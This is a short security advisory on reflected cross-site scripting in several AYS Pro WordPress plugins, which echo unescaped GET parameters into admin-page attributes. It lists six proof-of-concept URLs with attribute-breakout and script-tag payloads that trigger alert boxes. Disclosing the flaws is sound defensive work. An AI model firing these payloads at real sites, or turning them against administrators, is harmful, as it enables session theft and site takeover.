Multiple Plugins from AYS Pro – Reflected Cross-Site Scripting (XSS)

Description

The plugins did not properly sanitise and escape some GET parameters before outputting them back in attributes, leading to reflected Cross-Site Scripting issues which will be executed in the context of a logged in administrator

Proof of Concept

https://example.com/wp-admin/admin.php?page=ays-slider&status=created&type="style%3Danimation-name%3Arotation+onanimationstart%3Dalert(%2FXSS%2F)%2F%2F

https://example.com/wp-admin/admin.php?page=gallery-photo-gallery&status=created&type=%22style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28%2FXSS%2F%29%2F%2F

https://example.com/wp-admin/admin.php?page=ays-facebook-popup-likebox&status=created&type=%22style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28%2FXSS%2F%29%2F%2F

https://example.com/wp-admin/admin.php?page=survey-maker-each-submission&survey=1"><script>alert(/XSS/)</script>

https://example.com/wp-admin/admin.php?page=ays-pb&status=created&type=%22style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28%2FXSS%2F%29%2F%2F

https://example.com/wp-admin/admin.php?page=portfolio-responsive-gallery&status=created&type=%22style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28%2FXSS%2F%29%2F%2F